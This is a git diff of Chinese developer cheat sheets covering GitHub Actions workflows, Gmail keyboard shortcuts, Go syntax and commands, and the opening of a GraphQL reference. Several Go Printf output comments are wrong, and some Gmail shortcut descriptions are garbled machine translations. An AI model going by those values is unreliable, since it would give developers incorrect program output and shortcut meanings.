在此示例中,`job1` 必须在 `job2` 开始之前成功完成,而 `job3` 要等待 `job1` 和 `job2` 完成。此示例中的作业按顺序运行:
|
||||
|
||||
```
|
||||
❶ job1
|
||||
❷ job2
|
||||
❸ job3
|
||||
```
|
||||
|
||||
配置如下
|
||||
|
||||
```yml
|
||||
jobs:
|
||||
job1:
|
||||
job2:
|
||||
needs: job1
|
||||
job3:
|
||||
if: ${{ always() }}
|
||||
needs: [job1, job2]
|
||||
```
|
||||
|
||||
在此示例中,`job3` 使用 `always()` 条件表达式,因此它始终在 `job1` 和 `job2` 完成后运行,不管它们是否成功。
|
||||
|
||||
### 同步 Gitee
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```yml
|
||||
- name: Sync to Gitee
|
||||
run: |
|
||||
mirror() {
|
||||
git clone "https://github.com/$1/$2"
|
||||
cd "$2"
|
||||
git remote add gitee "https://jaywcjlove:${{ secrets.GITEE_TOKEN }}@gitee.com/uiw/$2"
|
||||
git remote set-head origin -d
|
||||
git push gitee --prune +refs/remotes/origin/*:refs/heads/* +refs/tags/*:refs/tags/*
|
||||
cd ..
|
||||
}
|
||||
mirror uiwjs uiw
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 提交 NPM 包
|
||||
|
||||
```yml
|
||||
- run: npm publish --access public
|
||||
env:
|
||||
NODE_AUTH_TOKEN: ${{secrets.NPM_TOKEN}}
|
||||
```
|
||||
|
||||
获取 `NPM_TOKEN`,可以通过 [npm](https://www.npmjs.com/settings/wcjiang/tokens) 账号创建 `token`
|
||||
|
||||
```shell
|
||||
npm token list [--json|--parseable] # 查看
|
||||
npm token create [--read-only] [--cidr=1.1.1.1/24,2.2.2.2/16] # 创建
|
||||
npm token revoke <id|token> # 撤销
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
可以使用 [JS-DevTools/npm-publish](https://github.com/JS-DevTools/npm-publish) 提交
|
||||
|
||||
```yml
|
||||
- name: 📦 @province-city-china/data
|
||||
uses: JS-DevTools/npm-publish@v1
|
||||
with:
|
||||
token: ${{ secrets.NPM_TOKEN }}
|
||||
package: packages/data/package.json
|
||||
```
|
||||
|
||||
它有个好处,检测 `package.json` 中版本号是否发生变更,来决定是否提交版本,不会引发流程错误。
|
||||
|
||||
### 步骤作业文件共享
|
||||
|
||||
Artifacts 是 GitHub Actions 为您提供持久文件并在运行完成后使用它们或在作业(文档)之间共享的一种方式。
|
||||
|
||||
要创建工件并使用它,您将需要不同的操作:上传和下载。
|
||||
要上传文件或目录,您只需像这样使用它:
|
||||
|
||||
```yml
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- run: mkdir -p path/to/artifact
|
||||
- run: echo hello > path/to/artifact/a.txt
|
||||
- uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: my-artifact
|
||||
path: path/to/artifact/a.txt
|
||||
```
|
||||
|
||||
然后下载 `artifact` 以使用它:
|
||||
|
||||
```yml
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: my-artifact
|
||||
```
|
||||
|
||||
### Node.js
|
||||
|
||||
```yml
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v2
|
||||
with:
|
||||
node-version: 14
|
||||
```
|
||||
|
||||
使用[矩阵策略](https://docs.github.com/cn/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategy) 在 nodejs 不同版本中运行
|
||||
|
||||
```yml
|
||||
strategy:
|
||||
matrix:
|
||||
node-version: [10.x, 12.x, 14.x]
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: 使用 Node ${{ matrix.node-version }}
|
||||
uses: actions/setup-node@v1
|
||||
with:
|
||||
node-version: ${{ matrix.node-version }}
|
||||
- run: npm ci
|
||||
- run: npm run build --if-present
|
||||
- run: npm test
|
||||
```
|
||||
|
||||
### 提交 docker 镜像
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
```yml
|
||||
# https://www.basefactor.com/github-actions-docker
|
||||
- name: Docker login
|
||||
run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }}
|
||||
|
||||
- name: Build ant.design image
|
||||
run: |
|
||||
cd ./ant\.design
|
||||
docker build -t ant.design .
|
||||
- name: Tags & Push docs
|
||||
run: |
|
||||
# Strip git ref prefix from version
|
||||
VERSION=$(echo "${{ github.ref }}" | sed -e 's,.*/\(.*\),\1,')
|
||||
|
||||
# Strip "v" prefix from tag name
|
||||
[[ "${{ github.ref }}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//')
|
||||
|
||||
docker tag ant.design ${{ secrets.DOCKER_USER }}/ant.design:$VERSION
|
||||
docker tag ant.design ${{ secrets.DOCKER_USER }}/ant.design:latest
|
||||
docker push ${{ secrets.DOCKER_USER }}/ant.design:$VERSION
|
||||
docker push ${{ secrets.DOCKER_USER }}/ant.design:latest
|
||||
```
|
||||
|
||||
### 创建一个 tag
|
||||
|
||||
```yml
|
||||
- name: Create Tag
|
||||
id: create_tag
|
||||
uses: jaywcjlove/create-tag-action@main
|
||||
with:
|
||||
package-path: ./package.json
|
||||
```
|
||||
|
||||
根据 `package-path` 指定的 `package.json` 检测 `version` 是否发生变化来创建 `tag`
|
||||
|
||||
### 生成 git 提交日志
|
||||
|
||||
```yml
|
||||
- name: Generate Changelog
|
||||
id: changelog
|
||||
uses: jaywcjlove/changelog-generator@main
|
||||
with:
|
||||
filter-author: (小弟调调™)
|
||||
|
||||
- name: Get the changelog
|
||||
run: echo "${{ steps.changelog.outputs.changelog }}"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 提交到 GitHub docker 镜像仓库
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```yml
|
||||
- name: '登录到 GitHub 注册表'
|
||||
run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin
|
||||
|
||||
- name: '编译 docker image'
|
||||
run: docker build -t ghcr.io/jaywcjlove/reference:latest .
|
||||
|
||||
- name: '推送到 GitHub 注册表中'
|
||||
run: docker push ghcr.io/jaywcjlove/reference:latest
|
||||
|
||||
- name: '标记 docker 镜像并发布到 GitHub 注册表'
|
||||
if: steps.create_tag.outputs.successful
|
||||
run: |
|
||||
echo "version: v${{ steps.changelog.outputs.version }}"
|
||||
docker tag ghcr.io/jaywcjlove/reference:latest ghcr.io/jaywcjlove/reference:${{steps.changelog.outputs.version}}
|
||||
docker push ghcr.io/jaywcjlove/reference:${{steps.changelog.outputs.version}}
|
||||
```
|
||||
|
||||
### 提交 commit 到 master 分支
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```yml
|
||||
- name: 生成一个文件,并将它提交到 master 分支
|
||||
run: |
|
||||
# Strip git ref prefix from version
|
||||
VERSION=$(echo "${{ github.ref }}" | sed -e 's,.*/\(.*\),\1,')
|
||||
COMMIT=released-${VERSION}
|
||||
# Strip "v" prefix from tag name
|
||||
[[ "${{ github.ref }}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//')
|
||||
echo "输出版本号:$VERSION"
|
||||
# 将版本输出到当前 VERSION 文件中
|
||||
echo "$VERSION" > VERSION
|
||||
echo "1. 输出Commit:$commit"
|
||||
echo "2. Released $VERSION"
|
||||
git fetch
|
||||
git config --local user.email "action@github.com"
|
||||
git config --local user.name "GitHub Action"
|
||||
git add .
|
||||
git commit -am $COMMIT
|
||||
git branch -av
|
||||
git pull origin master
|
||||
|
||||
- name: 将上面的提交 push 到 master 分支
|
||||
uses: ad-m/github-push-action@master
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
```
|
||||
|
||||
### 作业之间共享数据
|
||||
|
||||
创建一个文件,然后将其作为构件上传
|
||||
|
||||
```yml {11}
|
||||
jobs:
|
||||
example-job:
|
||||
name: Save output
|
||||
steps:
|
||||
- shell: bash
|
||||
run: |
|
||||
expr 1 + 1 > output.log
|
||||
- name: Upload output file
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: output-log-file
|
||||
path: output.log
|
||||
```
|
||||
|
||||
可以下载名为 `output-log-file` 的工件
|
||||
|
||||
```yml {7}
|
||||
jobs:
|
||||
example-job:
|
||||
steps:
|
||||
- name: Download a single artifact
|
||||
uses: actions/download-artifact@v3
|
||||
with:
|
||||
name: output-log-file
|
||||
```
|
||||
|
||||
### 指定运行命令的工作目录
|
||||
|
||||
```yml {3}
|
||||
- name: Clean temp directory
|
||||
run: rm -rf *
|
||||
working-directory: ./temp
|
||||
```
|
||||
|
||||
使用 `working-directory` 关键字,您可以指定运行命令的工作目录(`./temp`)
|
||||
|
||||
#### defaults.run
|
||||
|
||||
```yml {4,5,7}
|
||||
jobs:
|
||||
job1:
|
||||
runs-on: ubuntu-latest
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
working-directory: scripts
|
||||
```
|
||||
|
||||
作业中的所有 `run` 步骤提供默认的 `shell` 和 `working-directory`
|
||||
|
||||
### jobs.<job_id>.steps[*].shell
|
||||
|
||||
使用 `bash` 运行脚本
|
||||
|
||||
```yml {4}
|
||||
steps:
|
||||
- name: Display the path
|
||||
run: echo $PATH
|
||||
shell: bash
|
||||
```
|
||||
|
||||
运行 `python` 脚本
|
||||
|
||||
```yml {6}
|
||||
steps:
|
||||
- name: Display the path
|
||||
run: |
|
||||
import os
|
||||
print(os.environ['PATH'])
|
||||
shell: python
|
||||
```
|
||||
|
||||
您可以使用 `shell` 关键字覆盖运行器操作系统中的默认 `shell` 设置
|
||||
|
||||
### 一些 actions 推荐
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
[`create-tag-action`](https://github.com/jaywcjlove/create-tag-action) | 根据 package.json 创建 `Tag` / `Release`
|
||||
[`changelog-generator`](https://github.com/jaywcjlove/changelog-generator) | 生成 `changelog` 日志
|
||||
[`github-action-modify-file-content`](https://github.com/jaywcjlove/github-action-modify-file-content) | 修改仓库文件内容
|
||||
[`github-action-contributors`](https://github.com/jaywcjlove/github-action-contributors) | 生成贡献(contributors.svg)图片
|
||||
[`generated-badges`](https://github.com/jaywcjlove/generated-badges) | 生成徽章(Badges)图片
|
||||
[`coverage-badges-cli`](https://github.com/jaywcjlove/coverage-badges-cli) | 生成覆盖率徽章(Badges)图片
|
||||
[`action-ejs`](https://github.com/jaywcjlove/action-ejs) | 基于 ejs 生成 HTML
|
||||
[`github-action-package`](https://github.com/jaywcjlove/github-action-package) | 修改 JSON 文件内容
|
||||
[`markdown-to-html-cli`](https://github.com/jaywcjlove/markdown-to-html-cli) | Markdown 转换成 HTML
|
||||
[`ncipollo/release-action`](https://github.com/ncipollo/release-action) | 创建 `Release`
|
||||
[`peaceiris/actions-gh-pages`](https://github.com/peaceiris/actions-gh-pages) | 将文件或文件夹内容提交到 `gh-pages` 分支
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Github Actions 学习笔记](https://jaywcjlove.github.io/github-actions) _(jaywcjlove.github.io)_
|
||||
- [了解 GitHub Actions](https://docs.github.com/cn/actions/learn-github-actions) _(docs.github.com)_
|
128
docs/gmail.md
Normal file
128
docs/gmail.md
Normal file
@ -0,0 +1,128 @@
|
||||
Gmail 备忘清单
|
||||
===
|
||||
|
||||
本备忘单总结了常用的 [Gmail](https://gmail.com/) 快捷键,以供快速参考。
|
||||
|
||||
Gmail 快捷键
|
||||
---
|
||||
|
||||
### Gmail 导航
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`u` | 返回话题列表(或刷新话题列表)
|
||||
`k` / `j` | 较新/较旧的对话
|
||||
`o` or `Enter` | 打开对话; 折叠/展开
|
||||
`p` / `n` | 阅读上一条/下一条消息
|
||||
<code>\`</code> | 转到下一个收件箱部分
|
||||
`~` | 转到上一个收件箱部分
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### Gmail 应用程序
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`c` | 撰写
|
||||
`d` | 添加 cc 撰写
|
||||
`b` | 添加 cc 和 bcc 撰写
|
||||
`/` | 搜索
|
||||
`q` | 焦点聊天联系人搜索
|
||||
`?` | 打开快捷方式帮助
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### Gmail 操作
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`,` | 将焦点移至工具栏
|
||||
`x` | 选择对话
|
||||
`s` | 旋转超级巨星
|
||||
`y` | 删除标签
|
||||
`e` | 档案
|
||||
`m` | 忽略对话
|
||||
`!` | 报告为垃圾邮件
|
||||
`v` | 打开移动到菜单
|
||||
`#` | 移到废纸篓
|
||||
`r` | 回复
|
||||
`Shift+r` | 在新窗口中回复
|
||||
`a` | 全部回复
|
||||
`Shift+a` | 在新窗口中回复所有
|
||||
`f` | 向前
|
||||
`Shift+f` | 在新窗口中转发
|
||||
`Shift+n` | 更新对话
|
||||
`Tab` 然后 `Enter` | 发邮件
|
||||
`Esc` | 焦点最后聊天痣
|
||||
`]` / `[` | 删除并转到上一个/下一个
|
||||
`}` / `{` | 存档并转到上一个/下一个
|
||||
`z` | 撤消上一个操作
|
||||
`.` | 打开更多操作菜单
|
||||
`l` | 打开标签菜单
|
||||
`Shift+i` | 标记为已读
|
||||
`Shift+u` | 标记为未读
|
||||
`_` | 将所选邮件标记为未读
|
||||
`Ctrl+s` | 保存草稿
|
||||
`+` 或 `=` | 标记为重要
|
||||
`-` | 标记为不重要
|
||||
`Shift+l` | 喜欢/不喜欢嗡嗡声
|
||||
`h` | 抢先看
|
||||
`g` 然后 `p` | 打个电话
|
||||
`&` | 启动老蛇
|
||||
`Shift+t` | 将对话添加到任务
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### Gmail 跳转
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`g` 然后 `i` | 打开收件箱
|
||||
`g` 然后 `s` | 打开已加星标的对话
|
||||
`g` 然后 `t` | 打开已发送消息
|
||||
`g` 然后 `d` | 打开草稿
|
||||
`g` 然后 `a` | 打开所有消息
|
||||
`g` 然后 `c` | 打开联系人
|
||||
`g` 然后 `b` | 去嗡嗡声
|
||||
`g` 然后 `l` | 转到标签
|
||||
`g` 然后 `k` | 前往任务
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### Gmail 主题列表选择
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`*` 然后 `a` | 选择所有对话
|
||||
`*` 然后 `n` | 取消选择所有对话
|
||||
`*` 然后 `r` | 选择阅读对话
|
||||
`*` 然后 `u` | 选择未读对话
|
||||
`*` 然后 `s` | 选择加星标的对话
|
||||
`*` 然后 `t` | 选择未加星标的对话
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### Gmail 搜索语法
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`from:[arg]` | 从
|
||||
`to:[arg]` | 至
|
||||
`label:[arg]` | 标签
|
||||
`subject:[arg]` | 主题
|
||||
`-[arg]` | 不包含
|
||||
`has:attachment` | 有附件
|
||||
`filename:[filename]` | 附件文件名
|
||||
`before:2011/11/20` | 之前(日期)
|
||||
`after:2011/11/20` | 之后(日期)
|
||||
`from:annie` 或 `from:david` | 或运算符
|
||||
`list:[arg]` | 邮件列表
|
||||
`subject:(word1 word2)` | 组词
|
||||
`in:anywhere` | 在所有框中搜索(垃圾邮件和垃圾邮件除外)
|
||||
`in:trash in:inbox in:spam` | 在特定框中搜索
|
||||
`is:starred is:read is:unread` | 搜索特定消息
|
||||
`is:chat` | 在聊天中搜索
|
||||
`cc:[arg] bcc:[arg]` | 搜索副本收件人
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### Gmail 提示和技巧
|
||||
|
||||
- 按 `u` 刷新话题列表
|
||||
- 对于多选,选择一个对话,然后 `shift+单击`另一个对话以选择其间的所有对话
|
||||
- 在主题中添加 `EOM`(消息结尾)以避免 `no-text-in-body` 警告
|
208
docs/golang.md
208
docs/golang.md
@ -23,7 +23,7 @@ $ go run hello.go
|
||||
Hello, world!
|
||||
```
|
||||
|
||||
或者在 [Go repl](https://repl.it/languages/go) 中尝试一下
|
||||
或者在 [Go repl](https://repl.it/languages/go) 中尝试一,`go` 命令[参考](#go-命令)
|
||||
|
||||
### 变量
|
||||
|
||||
@ -89,7 +89,7 @@ Golang 基本类型
|
||||
s1 := "Hello" + "World"
|
||||
s2 := `A "raw" string literal
|
||||
can include line breaks.`
|
||||
// 输出:11
|
||||
// 输出:10
|
||||
fmt.Println(len(s1))
|
||||
// 输出:Hello
|
||||
fmt.Println(string(s1[0:5]))
|
||||
@ -126,7 +126,7 @@ isTrue := true
|
||||
isFalse := false
|
||||
```
|
||||
|
||||
#### 操作符
|
||||
#### 操作符
|
||||
|
||||
```go
|
||||
fmt.Println(true && true) // true
|
||||
@ -247,7 +247,6 @@ s := strconv.Itoa(i)
|
||||
fmt.Println(s) // Outputs: 90
|
||||
```
|
||||
|
||||
|
||||
Golang 字符串
|
||||
--------
|
||||
|
||||
@ -256,18 +255,18 @@ Golang 字符串
|
||||
```go
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
s "strings"
|
||||
"fmt"
|
||||
s "strings"
|
||||
)
|
||||
func main() {
|
||||
/* 需要将字符串导入为 s */
|
||||
fmt.Println(s.Contains("test", "e"))
|
||||
fmt.Println(s.Contains("test", "e"))
|
||||
/* 内置 */
|
||||
fmt.Println(len("hello")) // => 5
|
||||
// 输出: 101
|
||||
fmt.Println("hello"[1])
|
||||
fmt.Println("hello"[1])
|
||||
// 输出: e
|
||||
fmt.Println(string("hello"[1]))
|
||||
fmt.Println(string("hello"[1]))
|
||||
}
|
||||
```
|
||||
|
||||
@ -277,38 +276,38 @@ func main() {
|
||||
```go
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
type point struct {
|
||||
x, y int
|
||||
x, y int
|
||||
}
|
||||
func main() {
|
||||
p := point{1, 2}
|
||||
fmt.Printf("%v\n", p) // => {1 2}
|
||||
fmt.Printf("%+v\n", p) // => {x:1 y:2}
|
||||
fmt.Printf("%#v\n", p) // => main.point{x:1, y:2}
|
||||
fmt.Printf("%T\n", p) // => main.point
|
||||
fmt.Printf("%t\n", true) // => TRUE
|
||||
fmt.Printf("%d\n", 123) // => 123
|
||||
fmt.Printf("%b\n", 14) // => 1110
|
||||
fmt.Printf("%c\n", 33) // => !
|
||||
fmt.Printf("%x\n", 456) // => 1c8
|
||||
fmt.Printf("%f\n", 78.9) // => 78.9
|
||||
fmt.Printf("%e\n", 123400000.0) // => 1.23E+08
|
||||
fmt.Printf("%E\n", 123400000.0) // => 1.23E+08
|
||||
fmt.Printf("%s\n", "\"string\"") // => "string"
|
||||
fmt.Printf("%q\n", "\"string\"") // => "\"string\""
|
||||
fmt.Printf("%x\n", "hex this") // => 6.86578E+15
|
||||
fmt.Printf("%p\n", &p) // => 0xc00002c040
|
||||
fmt.Printf("|%6d|%6d|\n", 12, 345) // => | 12| 345|
|
||||
fmt.Printf("|%6.2f|%6.2f|\n", 1.2, 3.45) // => | 1.20| 3.45|
|
||||
fmt.Printf("|%-6.2f|%-6.2f|\n", 1.2, 3.45) // => |1.20 |3.45 |
|
||||
fmt.Printf("|%6s|%6s|\n", "foo", "b") // => | foo| b|
|
||||
fmt.Printf("|%-6s|%-6s|\n", "foo", "b") // => |foo |b |
|
||||
s := fmt.Sprintf("a %s", "string")
|
||||
fmt.Println(s)
|
||||
fmt.Fprintf(os.Stderr, "an %s\n", "error")
|
||||
p := point{1, 2}
|
||||
fmt.Printf("%v\n", p) // => {1 2}
|
||||
fmt.Printf("%+v\n", p) // => {x:1 y:2}
|
||||
fmt.Printf("%#v\n", p) // => main.point{x:1, y:2}
|
||||
fmt.Printf("%T\n", p) // => main.point
|
||||
fmt.Printf("%t\n", true) // => TRUE
|
||||
fmt.Printf("%d\n", 123) // => 123
|
||||
fmt.Printf("%b\n", 14) // => 1110
|
||||
fmt.Printf("%c\n", 33) // => !
|
||||
fmt.Printf("%x\n", 456) // => 1c8
|
||||
fmt.Printf("%f\n", 78.9) // => 78.9
|
||||
fmt.Printf("%e\n", 123400000.0) // => 1.23E+08
|
||||
fmt.Printf("%E\n", 123400000.0) // => 1.23E+08
|
||||
fmt.Printf("%s\n", "\"string\"") // => "string"
|
||||
fmt.Printf("%q\n", "\"string\"") // => "\"string\""
|
||||
fmt.Printf("%x\n", "hex this") // => 6.86578E+15
|
||||
fmt.Printf("%p\n", &p) // => 0xc00002c040
|
||||
fmt.Printf("|%6d|%6d|\n", 12, 345) // => | 12| 345|
|
||||
fmt.Printf("|%6.2f|%6.2f|\n", 1.2, 3.45) // => | 1.20| 3.45|
|
||||
fmt.Printf("|%-6.2f|%-6.2f|\n", 1.2, 3.45) // => |1.20 |3.45 |
|
||||
fmt.Printf("|%6s|%6s|\n", "foo", "b") // => | foo| b|
|
||||
fmt.Printf("|%-6s|%-6s|\n", "foo", "b") // => |foo |b |
|
||||
s := fmt.Sprintf("a %s", "string")
|
||||
fmt.Println(s)
|
||||
fmt.Fprintf(os.Stderr, "an %s\n", "error")
|
||||
}
|
||||
```
|
||||
|
||||
@ -316,8 +315,8 @@ func main() {
|
||||
|
||||
### 函数实例
|
||||
|
||||
| 实例 | Result |
|
||||
|-------------------------------|-------------|
|
||||
| 实例 | Result |
|
||||
| ----------------------------- | ----------- |
|
||||
| Contains("test", "es") | true |
|
||||
| Count("test", "t") | 2 |
|
||||
| HasPrefix("test", "te") | true |
|
||||
@ -441,16 +440,16 @@ Golang 结构和映射
|
||||
```go
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"fmt"
|
||||
)
|
||||
type Vertex struct {
|
||||
X int
|
||||
Y int
|
||||
X int
|
||||
Y int
|
||||
}
|
||||
func main() {
|
||||
v := Vertex{1, 2}
|
||||
v.X = 4
|
||||
fmt.Println(v.X, v.Y) // => 4 2
|
||||
v := Vertex{1, 2}
|
||||
v.X = 4
|
||||
fmt.Println(v.X, v.Y) // => 4 2
|
||||
}
|
||||
```
|
||||
|
||||
@ -569,6 +568,7 @@ sum(nums...) // => [1 2 3 4] 10
|
||||
```go
|
||||
import --> const --> var --> init()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```go
|
||||
@ -701,22 +701,22 @@ Golang 并发
|
||||
```go
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
func f(from string) {
|
||||
for i := 0; i < 3; i++ {
|
||||
fmt.Println(from, ":", i)
|
||||
}
|
||||
for i := 0; i < 3; i++ {
|
||||
fmt.Println(from, ":", i)
|
||||
}
|
||||
}
|
||||
func main() {
|
||||
f("direct")
|
||||
go f("goroutine")
|
||||
go func(msg string) {
|
||||
fmt.Println(msg)
|
||||
}("going")
|
||||
time.Sleep(time.Second)
|
||||
fmt.Println("done")
|
||||
f("direct")
|
||||
go f("goroutine")
|
||||
go func(msg string) {
|
||||
fmt.Println(msg)
|
||||
}("going")
|
||||
time.Sleep(time.Second)
|
||||
fmt.Println("done")
|
||||
}
|
||||
```
|
||||
|
||||
@ -725,26 +725,26 @@ func main() {
|
||||
### WaitGroup
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```golang
|
||||
```go
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
func w(id int, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
fmt.Printf("%d starting\n", id)
|
||||
time.Sleep(time.Second)
|
||||
fmt.Printf("%d done\n", id)
|
||||
defer wg.Done()
|
||||
fmt.Printf("%d starting\n", id)
|
||||
time.Sleep(time.Second)
|
||||
fmt.Printf("%d done\n", id)
|
||||
}
|
||||
func main() {
|
||||
var wg sync.WaitGroup
|
||||
for i := 1; i <= 5; i++ {
|
||||
wg.Add(1)
|
||||
go w(i, &wg)
|
||||
}
|
||||
wg.Wait()
|
||||
var wg sync.WaitGroup
|
||||
for i := 1; i <= 5; i++ {
|
||||
wg.Add(1)
|
||||
go w(i, &wg)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
```
|
||||
|
||||
@ -916,6 +916,7 @@ func main() {
|
||||
-------------
|
||||
|
||||
### 关键字(Keywords)
|
||||
|
||||
- break
|
||||
- default
|
||||
- func
|
||||
@ -945,17 +946,66 @@ func main() {
|
||||
|
||||
### 运算符和标点符号
|
||||
|
||||
| | | | | | | | | |
|
||||
|---|----|-----|-----|------|----|-----|---|---|
|
||||
| `+` | & | += | &= | && | == | != | ( | ) |
|
||||
| `-` | \| | -= | \|= | \|\| | < | <= | [ | ] |
|
||||
| `*` | ^ | *= | ^= | <- | > | >= | { | } |
|
||||
| `/` | << | /= | <<= | ++ | = | := | , | ; |
|
||||
| `%` | >> | %= | >>= | -- | ! | ... | . | : |
|
||||
| | &^ | &^= | | | | | | |
|
||||
| | | | | | | | | |
|
||||
| --- | ---- | ----- | ----- | ------ | ---- | ----- | --- | --- |
|
||||
| `+` | `&` | `+=` | `&=` | `&&` | `==` | `!=` | `(` | `)` |
|
||||
| `-` | `\|` | `-=` | `\|=` | `\|\|` | `<` | `<=` | `[` | `]` |
|
||||
| `*` | `^` | `*=` | `^=` | `<-` | `>` | `>=` | `{` | `}` |
|
||||
| `/` | `<<` | `/=` | `<<=` | `++` | `=` | `:=` | `,` | `;` |
|
||||
| `%` | `>>` | `%=` | `>>=` | `--` | `!` | `...` | `.` | `:` |
|
||||
| | `&^` | `&^=` | | | | | | |
|
||||
|
||||
Go 命令
|
||||
---
|
||||
|
||||
### Go 编译器命令
|
||||
|
||||
:- | --
|
||||
:- | --
|
||||
`go command [参数]` | go 命令 [参数]
|
||||
`go build` | 编译包和依赖包
|
||||
`go clean` | 移除对象和缓存文件
|
||||
`go doc` | 显示包的文档
|
||||
`go env` | 打印go的环境变量信息
|
||||
`go bug` | 报告bug
|
||||
`go fix` | 更新包使用新的api
|
||||
`go fmt` | 格式规范化代码
|
||||
`go generate` | 通过处理资源生成go文件
|
||||
`go get` | 下载并安装包及其依赖
|
||||
`go install` | 编译和安装包及其依赖
|
||||
`go list` | 列出所有包
|
||||
`go run` | 编译和运行go程序
|
||||
`go test` | 测试
|
||||
`go tool` | 运行给定的go工具
|
||||
`go version` | 显示go当前版本
|
||||
`go vet` | 发现代码中可能的错误
|
||||
|
||||
### ENV
|
||||
|
||||
:- | --
|
||||
:- | --
|
||||
`GOOS` | 编译系统
|
||||
`GOARCH` | 编译arch
|
||||
`GO111MODULE` | gomod开关
|
||||
`GOPROXY` | go代理 <https://goproxy.io> <https://goproxy.cn>
|
||||
`GOSSAFUNC` | 生成 `SSA.html` 文件,展示代码优化的每一步 `GOSSAFUNC=func_name go build`
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
### Module
|
||||
|
||||
:- | --
|
||||
:- | --
|
||||
`go mod init` | 初始化当前文件夹,创建go.mod文件
|
||||
`go mod download` | 下载依赖的module到本地
|
||||
`go mod tidy` | 增加缺少的module,删除无用的module
|
||||
`go mod vendor` | 将依赖复制到vendor下
|
||||
文件 `go.mod` | 依赖列表和版本约束
|
||||
文件 `go.sum` | 记录 `module` 文件 `hash` 值,用于安全校验
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
另见
|
||||
--------
|
||||
|
||||
- [Devhints](https://devhints.io/go) _(devhints.io)_
|
||||
- [A tour of Go](https://tour.golang.org/welcome/1) _(tour.golang.org)_
|
||||
- [Golang wiki](https://github.com/golang/go/wiki/) _(github.com)_
|
||||
|
653
docs/graphql.md
Normal file
653
docs/graphql.md
Normal file
@ -0,0 +1,653 @@
|
||||
GraphQL 备忘清单
|
||||
===
|
||||
|
||||
这份快速参考备忘单提供了 [GraphQL](https://graphql.org/) 的简要概述
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 概述
|
||||
|
||||
- RESTful API 的另一种方法
|
||||
- GraphQL 是一种 API 查询语言
|
||||
- 使用清晰的共享术语轻松描述 GraphQL API 的形状。
|
||||
- 客户端发出查询/突变以读取和更新数据
|
||||
- GraphQL 语法可以表达复杂的实体关系
|
||||
- 用 [不同语言](https://graphql.org/code/) 实现 GraphQL 的库
|
||||
|
||||
[GraphQL](https://graphql.org/)
|
||||
|
||||
### Schema
|
||||
|
||||
:-|-
|
||||
:-|-
|
||||
`schema` | GraphQL 架构定义
|
||||
`query` | 读取和遍历数据
|
||||
`mutation` | 修改数据或触发动作
|
||||
`subscription` | 发生事件时运行查询
|
||||
|
||||
### 内置标量类型
|
||||
|
||||
:-|-
|
||||
:-|-
|
||||
`Int` | 有符号 32 位整数
|
||||
`Float` | 有符号双精度浮点值
|
||||
`String` | UTF-8 字符序列
|
||||
`Boolean` | 对或错布尔值类型
|
||||
`ID` | 唯一标识符
|
||||
|
||||
### 类型定义
|
||||
|
||||
:-|-
|
||||
:-|-
|
||||
`scalar` | 标量类型
|
||||
`type` | 对象类型
|
||||
`interface` | 接口类型
|
||||
`union` | 联合类型
|
||||
`enum` | 枚举类型
|
||||
`input` | 输入对象类型
|
||||
|
||||
### 类型修饰符
|
||||
|
||||
:-|-
|
||||
:-|-
|
||||
`String` | 可空字符串
|
||||
`String!` | 非空字符串
|
||||
`[String]` | 可空字符串列表
|
||||
